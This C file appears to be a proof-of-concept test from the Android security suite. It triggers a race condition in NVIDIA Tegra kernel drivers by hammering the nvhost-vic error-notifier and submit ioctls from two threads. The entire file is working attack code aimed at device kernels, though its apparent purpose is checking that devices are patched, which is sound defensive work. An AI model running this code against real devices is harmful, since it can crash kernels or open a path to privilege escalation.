/*
* Copyright (C) 2017 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <errno.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/types.h>
#include <signal.h>
#include <unistd.h>
// for syscall
#include <sys/syscall.h>
// for futex
#include <linux/futex.h>
#include <sys/time.h>
#define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__)
#define ERR(fmt, ...) printf(fmt ": %d(%d)\n", ##__VA_ARGS__, errno, errno)
#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
#define NVMAP_IOC_MAGIC 'N'
struct nvmap_create_handle {
union {
__u32 id; /* FromId */
__u32 size; /* CreateHandle */
__s32 fd; /* DmaBufFd or FromFd */
};
__u32 handle; /* returns nvmap handle */
};
#define NVMAP_IOC_CREATE _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
#define NVHOST_IOCTL_MAGIC 'H'
struct nvhost_set_error_notifier {
__u64 offset;
__u64 size;
__u32 mem;
__u32 padding;
};
#define NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER \
_IOWR(NVHOST_IOCTL_MAGIC, 111, struct nvhost_set_error_notifier)
struct nvmap_alloc_handle {
__u32 handle; /* nvmap handle */
__u32 heap_mask; /* heaps to allocate from */
__u32 flags; /* wb/wc/uc/iwb etc. */
__u32 align; /* min alignment necessary */
};
#define NVMAP_IOC_ALLOC _IOW(NVMAP_IOC_MAGIC, 3, struct nvmap_alloc_handle)
static int set_affinity(int num)
{
int ret = 0;
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(num, &mask);
ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
if(ret == -1){
printf("[-] set affinity failed: [%d]-%d\n", errno, errno);
}
return ret;
}
struct nvhost_submit_args {
__u32 submit_version;
__u32 num_syncpt_incrs;
__u32 num_cmdbufs;
__u32 num_relocs;
__u32 num_waitchks;
__u32 timeout;
__u32 flags;
__u32 fence; /* Return value */
__u64 syncpt_incrs;
__u64 cmdbuf_exts;
__u64 pad[3]; /* future expansion */
__u64 cmdbufs;
__u64 relocs;
__u64 reloc_shifts;
__u64 waitchks;
__u64 waitbases;
__u64 class_ids;
__u64 fences;
};
#define NVHOST_IOCTL_CHANNEL_SUBMIT \
_IOWR(NVHOST_IOCTL_MAGIC, 26, struct nvhost_submit_args)
struct nvhost_syncpt_incr {
__u32 syncpt_id;
__u32 syncpt_incrs;
};
#define CLOSE_THREAD_NUM 1
#define TRY_TIMES 2
#define NVMAPDEV "/dev/nvmap"
#define VICDEV "/dev/nvhost-vic"
#define SYNC_NUM 1
struct nvhost_set_error_notifier err1 = { 0 }, err2 = { 0 };
pthread_t close_thread_id[CLOSE_THREAD_NUM] = { 0 };
int nvmap, vic;
volatile int attack;
void* close_thread(void* no_use)
{
int ret;
set_affinity(1);
while(attack){
ret = ioctl(vic, NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER, &err1);
}
return NULL;
}
int main()
{
int i, j, ret;
int dma1, dma2;
struct nvmap_create_handle args = {
.size = PAGE_SIZE
};
struct nvmap_alloc_handle alloc = {
.heap_mask = 0xFFFFFFFF
};
struct nvhost_syncpt_incr incr[SYNC_NUM];
struct nvhost_submit_args submit = {
.num_syncpt_incrs = SYNC_NUM,
.syncpt_incrs = (intptr_t)incr,
.timeout = 1,
//.class_ids = (intptr_t)&ret
};
memset(incr, 0, sizeof(incr));
incr[0].syncpt_id = 6;
/* bind_cpu */
set_affinity(0);
nvmap = open(NVMAPDEV, O_RDONLY);
if(nvmap == -1)
ERR("[-] open %s failed", NVMAPDEV);
else
LOG("[+] open %s OK", NVMAPDEV);
vic = open(VICDEV, O_RDONLY);
if(vic == -1)
ERR("[-] open %s failed", VICDEV);
else
LOG("[+] open %s OK", VICDEV);
// prepare
ret = ioctl(nvmap, NVMAP_IOC_CREATE, &args);
if(ret)
ERR("[-] ioctl NVMAP_IOC_CREATE failed");
else
LOG("[+] NVMAP_IOC_CREATE succeeded, fd = %d", args.handle);
dma1 = args.handle;
err1.mem = dma1;
alloc.handle = dma1;
ret = ioctl(nvmap, NVMAP_IOC_ALLOC, &alloc);
if(ret)
ERR("[-] ioctl NVMAP_IOC_ALLOC failed");
else
LOG("[+] NVMAP_IOC_ALLOC succeeded");
/* create close thread */
attack = 1;
for(i = 0; i < CLOSE_THREAD_NUM; i++){
ret = pthread_create(close_thread_id + i, NULL, close_thread, NULL);
}
LOG("[+] running...");
while(1) {
ret = ioctl(vic, NVHOST_IOCTL_CHANNEL_SUBMIT, &submit);
}
LOG("[-] passed :(");
attack = 0;
for(i = 0; i < CLOSE_THREAD_NUM; i++) {
pthread_join(close_thread_id[i], NULL);
}
return 0;
}